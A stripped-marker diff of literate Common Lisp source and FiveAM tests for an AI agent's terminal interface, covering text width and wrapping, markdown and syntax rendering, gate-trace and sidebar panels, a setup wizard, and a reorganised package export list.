(is (= 1 (char-width #\a)))
(is (= 1 (char-width #\Space)))
(is (= 1 (char-width #\@))))
(test test-char-width-tab
"Contract 5: tab character has width 8."
(is (= 8 (char-width #\Tab))))
(test test-char-width-cjk
"Contract 5: CJK characters have width 2."
(is (= 2 (char-width #\日))))
(test test-char-width-null
"Contract 5: null has width 0."
(is (= 0 (char-width #\Nul))))
(test test-markdown-bold
"Contract 7: parse-markdown-spans detects **bold**."
(let ((segments (parse-markdown-spans "hello **world**!")))
(is (= 3 (length segments)))))
(test test-markdown-plain
"Contract 7: plain text returns single segment."
(let ((segments (parse-markdown-spans "plain")))
(is (= 1 (length segments)))
(is (string= "plain" (caar segments)))))
(test test-markdown-url
"Contract 7: parse-markdown-spans detects URLs."
(let ((segments (parse-markdown-spans "see https://example.com for more")))
(is (>= (length segments) 2))
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
(test test-markdown-blocks
"Contract 8: parse-markdown-blocks detects code blocks."
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
(segs (parse-markdown-blocks text)))
(is (= 3 (length segs)))
(let ((code (second segs)))
(is (eq t (getf code :code-block)))
(is (string= "lisp" (getf code :lang)))
(is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
(test test-markdown-blocks-no-close
"Contract 8: unclosed code block returns content."
(let* ((text (format nil "```~%unclosed code"))
(segs (parse-markdown-blocks text)))
(is (= 1 (length segs)))
(is (eq t (getf (first segs) :code-block)))))
(test test-syntax-highlight
"Contract 9: syntax-highlight colors Lisp code."
(let ((segs (syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
(is (>= (length segs) 3))))
(test test-syntax-highlight-keyword
"Contract 9: syntax-highlight colors keywords."
(let ((segs (syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
(is (>= (length segs) 2))
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-syntax-highlight-function
"Contract 9: syntax-highlight colors function calls."
(let ((segs (syntax-highlight "(+ 1 2)" "lisp")))
(is (>= (length segs) 2))
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-gate-trace-lines-passed
"Contract 9: gate-trace-lines for passed gate."
(let ((lines (gate-trace-lines
'((:gate "path" :result :passed)))))
(is (= 1 (length lines)))
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
(test test-gate-trace-lines-blocked
"Contract 9: gate-trace-lines for blocked gate."
(let ((lines (gate-trace-lines
'((:gate "shell" :result :blocked :reason "rm")))))
(is (= 1 (length lines)))
(is (search "rm" (caar lines)))))
(test test-gate-trace-lines-approval
"Contract 9: gate-trace-lines for approval gate."
(let ((lines (gate-trace-lines
'((:gate "network" :result :approval)))))
(is (= 1 (length lines)))
(is (search "HITL" (caar lines)))))
(test test-init-state-has-collapsed-gates
"Contract v0.7.2: init-state includes :collapsed-gates field."
(passepartout.channel-tui::init-state)
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
(is (null cg))))
#+end_src
* Implementation — v0.7.0 additions
#+begin_src lisp
(in-package :passepartout)
(in-package :passepartout.channel-tui)
(defun char-width (ch)
"Returns the terminal column width of character CH.
@@ -213,11 +424,39 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
((<= #x20D0 code #x20FF) 0)
((<= #xFE00 code #xFE0F) 0)
(t 1))))
(defun word-wrap (text max-width)
"Split TEXT into lines that fit within MAX-WIDTH columns.
Word-breaks at spaces when possible; breaks mid-word if necessary.
Respects CJK/emoji char widths via char-width."
(let ((lines nil)
(start 0)
(end (length text)))
(loop while (< start end) do
(let* ((col 0)
(pos start)
(last-break start))
(loop while (< pos end)
for width = (char-width (char text pos)) do
(when (char= (char text pos) #\Space)
(setf last-break pos))
(when (> (+ col width) max-width)
(return))
(incf col width)
(incf pos)
(when (>= pos end) (return)))
(let ((line-end (if (> pos start) pos (1+ start))))
(when (>= line-end end) (setf line-end end))
(push (subseq text start line-end) lines)
(setf start (if (and (< line-end end) (char= (char text line-end) #\Space))
(1+ line-end)
line-end)))))
(nreverse lines)))
#+end_src
* v0.7.1 — Markdown Rendering
#+begin_src lisp
(in-package :passepartout)
(in-package :passepartout.channel-tui)
(defun parse-markdown-spans (text)
"Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
@@ -266,14 +505,19 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
(bold (getf attrs :bold))
(code (getf attrs :code))
(underline (getf attrs :underline))
(url (getf attrs :url)))
(url (getf attrs :url))
(style-bits (append (when bold '(:bold))
(when underline '(:underline)))))
(when style-bits
(add-attributes win (get-bitmask style-bits)))
(add-string win text :y y :x x :n (max 1 (- w x))
:bold bold :underline underline
:bgcolor (when code (theme-color :dim))
:fgcolor (cond (url (theme-color :highlight))
(t (theme-color (or (getf attrs :role) :agent)))))
:bgcolor (when code (theme-color :dim))
:fgcolor (cond (url (theme-color :highlight))
(t (theme-color (or (getf attrs :role) :agent)))))
(when style-bits
(remove-attributes win (get-bitmask style-bits)))
(incf x (length text))))
y)
(1+ y))
(defun parse-markdown-blocks (text)
"Split text at ``` code block boundaries."
@@ -340,7 +584,7 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
* v0.7.2 — Gate Trace
#+begin_src lisp
(in-package :passepartout)
(in-package :passepartout.channel-tui)
(defun gate-trace-lines (trace)
"Convert gate-trace plist to display lines."
@@ -351,14 +595,14 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
(reason (getf entry :reason))
(name (or gate "unknown"))
(color (case result
(:passed :gate-passed)
(:blocked :gate-blocked)
(:approval :gate-approval)
(t :dim)))
(:passed (theme-color :gate-passed))
(:blocked (theme-color :gate-blocked))
(:approval (theme-color :gate-approval))
(t (theme-color :dim))))
(prefix (case result
(:passed " \u2713 ")
(:blocked " \u2717 ")
(:approval " \u2192 ")
(:passed " ")
(:blocked " ")
(:approval " ")
(t " ? ")))
(text (format nil "~a~a~@[~a~]~@[~a~]"
prefix name
@@ -368,113 +612,320 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
(nreverse lines)))
#+end_src
* Test Suite
* v0.8.0 — Sidebar + Minibuffer View
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(in-package :passepartout.channel-tui)
(defpackage :passepartout-tui-view-tests
(:use :cl :fiveam :passepartout)
(:export #:tui-view-suite))
(defun view-sidebar (win)
"Render 42-column sidebar with 7 panels: Gate Trace, Focus, Rules, Context, Files, Cost, Protection."
(clear win)
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
(box win 0 0)
(let* ((w (or (width win) 42))
(h (or (height win) 24))
(y 1)
(gate-trace (st :gate-trace))
(foveal-id (st :foveal-id))
(rule-count (or (st :rule-count) 0))
(context-usage (st :context-usage))
(modified-files (st :modified-files))
(session-cost (st :session-cost))
(block-counts (st :block-counts)))
;; Panel 1: Gate Trace
(add-string win "── Gate Trace ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if gate-trace
(dolist (entry (gate-trace-lines gate-trace))
(when (< y (1- h))
(add-string win (car entry) :y y :x 2 :n (- w 4)
:fgcolor (or (getf (cdr entry) :fgcolor) (theme-color :dim)))
(incf y)))
(add-string win " (no trace)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
;; Panel 2: Focus
(incf y)
(add-string win "── Focus ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(add-string win (format nil " ~a" (or foveal-id "(none)")) :y y :x 2 :n (- w 4) :fgcolor (theme-color :focus-map))
;; Panel 3: Rules
(incf y 2)
(add-string win "── Rules ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(add-string win (format nil " Rules: ~d" rule-count) :y y :x 2 :n (- w 4) :fgcolor (theme-color :rule-count))
;; Panel 4: Context gauge
(incf y 2)
(add-string win "── Context ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(let* ((pct (or context-usage 0))
(bar-width 30)
(filled (min bar-width (floor (* pct bar-width) 100)))
(gauge-color (cond ((< pct 50) (theme-color :connected))
((< pct 80) (theme-color :warning))
((< pct 95) (theme-color :tool-running))
(t (theme-color :error)))))
(add-string win (format nil " [~a~a] ~d%"
(make-string filled :initial-element #\█)
(make-string (- bar-width filled) :initial-element #\░)
pct)
:y y :x 2 :n (- w 4) :fgcolor gauge-color))
;; Panel 5: Files
(incf y 2)
(add-string win "── Files ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if modified-files
(dolist (f modified-files)
(when (< y (1- h))
(let ((fp (getf f :filepath))
(added (getf f :lines-added))
(removed (getf f :lines-removed)))
(add-string win (format nil " ~a~@[ +~d~]~@[ -~d~]"
(subseq fp (max 0 (- (length fp) 30)))
(when (> added 0) added)
(when (> removed 0) removed))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
(incf y))))
(add-string win " (no changes)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
;; Panel 6: Cost
(incf y 2)
(add-string win "── Cost ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if session-cost
(progn
(add-string win (format nil " Total: $~,4f" (getf session-cost :total))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
(incf y)
(add-string win (format nil " Calls: ~d" (getf session-cost :calls))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :agent)))
(add-string win " (no data)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
;; Panel 7: Protection
(incf y 2)
(add-string win "── Protection ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
(incf y)
(if (and block-counts (> (getf block-counts :total) 0))
(let ((by-gate (getf block-counts :by-gate)))
(dolist (entry (subseq by-gate 0 (min (length by-gate) 6)))
(when (< y (1- h))
(add-string win (format nil " ~a: ~d" (car entry) (cdr entry))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :gate-blocked))
(incf y))))
(add-string win " (no blocks)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim)))
(refresh win)
(- y 1)))
(defun view-minibuffer (win)
"Render the bottom-anchored minibuffer panel. Dispatches on :minibuffer-mode."
(case (st :minibuffer-mode)
(:slash-menu (view-slash-menu win))
(:wizard (view-wizard-in-panel win))
(t nil)))
(defvar *slash-commands* nil) ; forward declaration — defined in channel-tui-main
(defun view-slash-menu (win)
"Render the slash-command menu: filter bar, filtered command list, selection highlight."
(clear win)
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
(box win 0 0)
(let* ((w (or (width win) 60))
(h (or (height win) 10))
(y 1)
(filter (or (st :minibuffer-filter) ""))
(commands passepartout.channel-tui::*slash-commands*)
(filtered (if (or (null filter) (string= filter ""))
(mapcar (lambda (c) (list :index (position c commands) :cmd c)) commands)
(let ((q (string-downcase filter)) (i 0) (r nil))
(dolist (c commands (nreverse r))
(when (or (search q (string-downcase (getf c :name)))
(search q (string-downcase (or (getf c :desc) ""))))
(push (list :index i :cmd c) r))
(incf i)))))
(sel (or (st :minibuffer-selected-idx) 0))
(max-visible (- h 3)))
;; Header: filter bar
(add-string win (format nil " Commands") :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
(incf y)
(add-string win (format nil " > ~a_" (if (> (length filter) 0) filter "/"))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :input))
(incf y)
;; Command list
(if filtered
(let* ((start (max 0 (- sel (floor max-visible 2))))
(end (min (length filtered) (+ start max-visible)))
(flat-i 0))
(loop for entry across (subseq (coerce filtered 'vector) start end)
for fi from start
for cmd = (getf entry :cmd)
do (let* ((name (getf cmd :name))
(desc (getf cmd :desc))
(selected (= fi sel))
(fg (if selected (theme-color :highlight) (theme-color :agent))))
(when selected
(add-string win (make-string (- w 4) :initial-element #\Space) :y y :x 2 :n (- w 4)
:fgcolor (theme-color :dim) :bgcolor (theme-color :highlight)))
(let ((prefix (if selected " > " " ")))
(add-string win (format nil "~a~a" prefix name) :y y :x 3 :n (min (- w 6) 25) :fgcolor fg)
(when desc
(add-string win (format nil " — ~a" desc) :y y :x 28 :n (min (- w 30) (length desc)) :fgcolor (theme-color :dim))))
(incf y))))
(progn
(add-string win " (no matching commands)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(incf y)))
;; Footer
(add-string win " ↑↓ Navigate Enter Execute Esc Close"
:y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(refresh win)
(- h 0)))
(defun view-wizard-in-panel (win)
"Render the setup wizard in the bottom-anchored minibuffer panel. Three modes: provider-list, key-entry, cascade-config."
(clear win)
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
(box win 0 0)
(let* ((w (or (width win) 70))
(h (or (height win) 14))
(y 1)
(mode (st :wizard-mode))
(error-msg (st :wizard-error))
(selected-idx (st :wizard-selected-idx))
(providers (passepartout.channel-tui::wizard-provider-list))
(configured (st :wizard-providers)))
(add-string win "Setup Wizard" :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
(incf y 2)
(case mode
(:provider-list
(let ((count (/ (length configured) 2)))
(add-string win (format nil "Configure Providers~a"
(if (> count 0) (format nil " — ~d configured" count) ""))
:y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(incf y)
(loop for p in providers
for i from 0
do (let* ((meta (passepartout.channel-tui::wizard-provider-meta p))
(name (car meta))
(key (getf configured p))
(prefix (if (= i selected-idx) "> " " "))
(suffix (if key " ✓" ""))
(color (if (= i selected-idx)
(theme-color :highlight)
(theme-color :dim))))
(add-string win (format nil "~a~a~a" prefix name suffix)
:y y :x 3 :n (- w 6) :fgcolor color)
(incf y)))
(incf y)
(add-string win " Done — configure cascade"
:y y :x 3 :n (- w 6)
:fgcolor (if (>= selected-idx (length providers))
(theme-color :highlight)
(theme-color :dim)))
(when (>= selected-idx (length providers))
(add-string win ">" :y y :x 1 :n 2 :fgcolor (theme-color :highlight))))
(:key-entry
(let* ((provider (st :wizard-current-provider))
(meta (passepartout.channel-tui::wizard-provider-meta provider))
(name (car meta))
(url (cadr meta))
(input (or (st :wizard-input) "")))
(add-string win (format nil "API Key: ~a" name) :y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
(incf y)
(when url
(add-string win (format nil "Get key at: ~a" url) :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
(incf y))
(add-string win "Enter your API key." :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
(incf y 2)
(add-string win (format nil "Key: > ~a" input) :y y :x 3 :n (- w 6) :fgcolor (theme-color :input))
(incf y)
(when error-msg
(add-string win (format nil "! ~a" error-msg) :y y :x 3 :n (- w 6) :fgcolor (theme-color :error))
(incf y))
(incf y)
(add-string win "Enter=Save Esc=Back Bksp=Edit Ctrl+U=Clear"
:y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(return-from view-wizard-in-panel)))
(:cascade-config
(let* ((slot (st :wizard-cascade-slot))
(slot-providers (getf (st :wizard-cascade) slot))
(slot-label (cadr (assoc slot passepartout.channel-tui::*wizard-cascade-labels*)))
(count (/ (length configured) 2)))
(add-string win (format nil "Configure Cascade — ~d provider~:p" count)
:y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
(incf y)
(add-string win (or slot-label "Unknown") :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
(incf y)
(let ((shown nil))
(loop for p in providers
for i from 0
do (when (getf configured p)
(let* ((meta (passepartout.channel-tui::wizard-provider-meta p))
(name (car meta))
(in-slot (member p slot-providers))
(prefix (if (= i selected-idx) "> " " "))
(mark (if in-slot " [✓]" " [ ]"))
(color (if (= i selected-idx)
(theme-color :highlight)
(if in-slot (theme-color :gate-passed) (theme-color :dim)))))
(add-string win (format nil "~a~a~a" prefix name mark)
:y y :x 3 :n (- w 6) :fgcolor color)
(incf y)
(push t shown))))
(unless shown
(add-string win " (no providers configured)"
:y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
(incf y)))
(incf y)
(add-string win (format nil "Cascade: ~{~a~^, ~}"
(or slot-providers '("(none)")))
:y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))))
(when error-msg
(incf y)
(add-string win (format nil "! ~a" error-msg) :y y :x 3 :n (- w 6) :fgcolor (theme-color :error)))
(let ((footer (case mode
(:provider-list "↑↓ Navigate Enter=Select Esc=Back Ctrl+D=Remove")
(:cascade-config "↑↓ Select Enter=Toggle Tab=Next Quadrant Ctrl+S=Save Esc=Back")
(t ""))))
(when footer
(add-string win footer :y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))))
(- h 0)))))
#+end_src
* v0.8.0 Tests — Sidebar View + Minibuffer View
#+begin_src lisp
(in-package :passepartout-tui-view-tests)
(def-suite tui-view-suite :description "TUI view rendering helpers")
(in-suite tui-view-suite)
(test test-theme-hex-string-keys-exist
"v0.8.0: all 27 theme keys are present in *tui-theme*."
(let* ((theme passepartout.channel-tui::*tui-theme*)
(required '(:user :agent :system :input :timestamp :help :error :warning
:connected :disconnected :busy :idle
:gate-passed :gate-blocked :gate-approval :hitl
:tool-running :tool-success :tool-failure :tool-output
:scroll-indicator :border :background
:rule-count :focus-map
:dim :highlight :accent)))
(dolist (key required)
(is (getf theme key) (format nil "~a should be defined" key)))))
(test test-char-width-ascii
"Contract 5: ASCII characters (< 128) have width 1."
(is (= 1 (passepartout::char-width #\a)))
(is (= 1 (passepartout::char-width #\Space)))
(is (= 1 (passepartout::char-width #\@))))
(test test-theme-presets-count
"v0.8.0: 8 presets defined: dark, light, solarized, gruvbox, nord, tokyonight, catppuccin, monokai."
(let* ((presets passepartout.channel-tui::*tui-theme-presets*)
(names '(:dark :light :solarized :gruvbox :nord :tokyonight :catppuccin :monokai)))
(dolist (name names)
(is (getf presets name) (format nil "~a preset should exist" name)))))
(test test-char-width-tab
"Contract 5: tab character has width 8."
(is (= 8 (passepartout::char-width #\Tab))))
(test test-char-width-cjk
"Contract 5: CJK characters have width 2."
(is (= 2 (passepartout::char-width #\日))))
(test test-char-width-null
"Contract 5: null has width 0."
(is (= 0 (passepartout::char-width #\Nul))))
(test test-markdown-bold
"Contract 7: parse-markdown-spans detects **bold**."
(let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
(is (= 3 (length segments)))))
(test test-markdown-plain
"Contract 7: plain text returns single segment."
(let ((segments (passepartout::parse-markdown-spans "plain")))
(is (= 1 (length segments)))
(is (string= "plain" (caar segments)))))
(test test-markdown-url
"Contract 7: parse-markdown-spans detects URLs."
(let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
(is (>= (length segments) 2))
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
(test test-markdown-blocks
"Contract 8: parse-markdown-blocks detects code blocks."
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 3 (length segs)))
(let ((code (second segs)))
(is (eq t (getf code :code-block)))
(is (string= "lisp" (getf code :lang)))
(is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
(test test-markdown-blocks-no-close
"Contract 8: unclosed code block returns content."
(let* ((text (format nil "```~%unclosed code"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 1 (length segs)))
(is (eq t (getf (first segs) :code-block)))))
(test test-syntax-highlight
"Contract 9: syntax-highlight colors Lisp code."
(let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
(is (>= (length segs) 3))))
(test test-syntax-highlight-keyword
"Contract 9: syntax-highlight colors keywords."
(let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
(is (>= (length segs) 2))
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-syntax-highlight-function
"Contract 9: syntax-highlight colors function calls."
(let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
(is (>= (length segs) 2))
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-gate-trace-lines-passed
"Contract 9: gate-trace-lines for passed gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "path" :result :passed)))))
(is (= 1 (length lines)))
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
(test test-gate-trace-lines-blocked
"Contract 9: gate-trace-lines for blocked gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "shell" :result :blocked :reason "rm")))))
(is (= 1 (length lines)))
(is (search "rm" (caar lines)))))
(test test-gate-trace-lines-approval
"Contract 9: gate-trace-lines for approval gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "network" :result :approval)))))
(is (= 1 (length lines)))
(is (search "HITL" (caar lines)))))
(test test-init-state-has-collapsed-gates
"Contract v0.7.2: init-state includes :collapsed-gates field."
(test test-minibuffer-init-state-fields
"Contract v0.8.0: init-state includes minibuffer-mode, selected-idx, filter; excludes palette and wizard-visible."
(passepartout.channel-tui::init-state)
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
(is (null cg))))
(is (null (passepartout.channel-tui::st :minibuffer-mode)))
(is (= 0 (passepartout.channel-tui::st :minibuffer-selected-idx)))
(is (string= "" (passepartout.channel-tui::st :minibuffer-filter)))
(is (null (getf passepartout.channel-tui::*state* :palette-visible)))
(is (null (getf passepartout.channel-tui::*state* :wizard-visible))))
(test test-slash-commands-entry-count
"Contract v0.8.0: *slash-commands* has at least 19 entries, each with :name, :desc, :action."
(let ((cmds passepartout.channel-tui::*slash-commands*))
(is (>= (length cmds) 19))
(dolist (c cmds)
(is (stringp (getf c :name)))
(is (stringp (getf c :desc)))
(is (functionp (getf c :action))))))
#+end_src

View File

@@ -30,7 +30,13 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
~action-dispatch~, sets ~:status :acted~, returns feedback.
2. (act-gate signal): thin alias for ~loop-gate-act~.
3. (action-dispatch approved signal): routes approved actions to
registered actuators by ~:target~ keyword.
registered actuators by ~:target~ keyword.
4. (tui-enrich-response action context): enriches the outgoing action
plist with sidebar fields — ~:block-counts~, ~:context-usage~,
~:modified-files~, ~:session-cost~ (v0.8.0) — plus existing
~:rule-count~ and ~:foveal-id~ (v0.4.0). Each field is
~fboundp~-guarded; missing skills produce nil. Called from the
~:tui~ actuator lambda.
* Implementation
@@ -87,18 +93,44 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
0))
(setf (getf (getf action :payload) :foveal-id)
(getf context :foveal-id))
;; v0.8.0: sidebar enrichment via fboundp guards
(when (fboundp 'dispatcher-block-counts-summary)
(setf (getf (getf action :payload) :block-counts)
(dispatcher-block-counts-summary)))
(when (fboundp 'context-usage-percentage)
(setf (getf (getf action :payload) :context-usage)
(context-usage-percentage)))
(when (fboundp 'tool-modified-files-summary)
(setf (getf (getf action :payload) :modified-files)
(tool-modified-files-summary)))
(when (fboundp 'cost-session-summary)
(setf (getf (getf action :payload) :session-cost)
(cost-session-summary)))
(format stream "~a" (frame-message action))
(finish-output stream))))))
#+end_src
** TUI Differentiator Enrichment (v0.4.0)
** TUI Differentiator Enrichment (v0.4.0, extended v0.8.0)
The TUI actuator is the last point in the pipeline before the response leaves the daemon. It enriches the action plist with fields that power the TUI's differentiator visualizations:
- ~:rule-count~ = ~(hash-table-count *hitl-pending*)~ — the number of pending HITL actions. The user watches this counter tick as they teach the agent their preferences.
- ~:foveal-id~ = the current foveal focus from the signal context — enables the TUI's focus map status line.
- ~:gate-trace~ — already attached by ~cognitive-verify~, flows through the action plist unchanged.
#+end_src
- ~:rule-count~ = ~(hash-table-count *hitl-pending*)~ — the number of pending HITL actions. The user watches this counter tick as they teach the agent their preferences. (v0.4.0)
- ~:foveal-id~ = the current foveal focus from the signal context — enables the TUI's focus map status line. (v0.4.0)
- ~:gate-trace~ — already attached by ~cognitive-verify~, flows through the action plist unchanged. (v0.4.0)
v0.8.0 adds four sidebar fields via ~fboundp~ guards — same pattern as
~core-reason.lisp~'s calls into token-economics, awareness, and time skills.
Each field degrades gracefully to nil when its source skill is not loaded:
- ~:block-counts~ = ~(dispatcher-block-counts-summary)~ — per-gate block tallies from ~security-dispatcher~. Powers the sidebar's Protection panel.
- ~:context-usage~ = ~(context-usage-percentage)~ — token budget percentage from ~token-economics~. Powers the sidebar's Context gauge.
- ~:modified-files~ = ~(tool-modified-files-summary)~ — files modified this turn from ~programming-tools~. Powers the sidebar's Files panel.
- ~:session-cost~ = ~(cost-session-summary)~ — cumulative cost data from ~cost-tracker~. Powers the sidebar's Cost panel.
The enrichment is added inside the existing ~:tui~ actuator lambda (one block
after the ~:rule-count~ and ~:foveal-id~ enrichment). No new actuator is
registered; no new ASDF component is added. The contract is: each field
arrives via ~fboundp~ guard and is silently nil when unavailable.
** Action Dispatch (action-dispatch)

View File

@@ -11,7 +11,7 @@
The export list is the contract between the harness and all skills. Every function exported here is accessible to every skill via ~use-package~. Adding a symbol here is an API commitment; removing one is a breaking change.
The implementation section includes:
- ~plist-get~ — robust plist accessor used everywhere in the pipeline
- ~proto-get~ — robust plist accessor used everywhere in the pipeline
- Logging state (~*log-buffer*~, ~*log-lock*~) — bounded ring buffer for LLM context
- Skill registry (~*skill-registry*~, ~defskill~) — all loaded skills live here
- Cognitive tool registry (~*cognitive-tool-registry*~, ~def-cognitive-tool~, ~cognitive-tool-prompt~)
@@ -21,29 +21,47 @@ The implementation section includes:
* Implementation
** Package Definition and Export List
The package definition. All public symbols are exported here.
The export list is organized by source module so a contributor can find
where to add new exports:
#+begin_src lisp
(defpackage :passepartout
(:use :cl)
(:export
;; ── Core: Transport & Protocol ──
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:PROTO-GET
#:proto-get
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:log-message
#:register-actuator
#:actuator-initialize
#:action-dispatch
;; ── Core: Pipeline ──
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:log-message
#:*log-buffer*
#:*log-lock*
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:stimulus-inject
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
;; ── Core: Memory ──
#:ingest-ast
#:memory-object-get
#:*memory-store*
@@ -60,6 +78,7 @@ The package definition. All public symbols are exported here.
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:memory-objects-by-attribute
#:snapshot-memory
#:rollback-memory
#:undo-snapshot
@@ -67,10 +86,12 @@ The package definition. All public symbols are exported here.
#:redo
#:*undo-stack*
#:*redo-stack*
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
;; ── Core: Context & Awareness ──
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
@@ -82,91 +103,25 @@ The package definition. All public symbols are exported here.
#:focus-session
#:focus-memex
#:unfocus
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:json-alist-to-plist
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
#:skill
#:*scope-resolver*
;; ── Core: Skills Engine ──
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:defskill
#:*skill-registry*
#:skill-initialize-all
#:load-skill-from-org
#:lisp-syntax-validate
;; ── Core: Cognitive Tools ──
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
@@ -174,59 +129,132 @@ The package definition. All public symbols are exported here.
#:cognitive-tool-guard
#:cognitive-tool-body
#:tool-read-only-p
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:channel-cli-input
#:repl-eval
#:repl-inspect
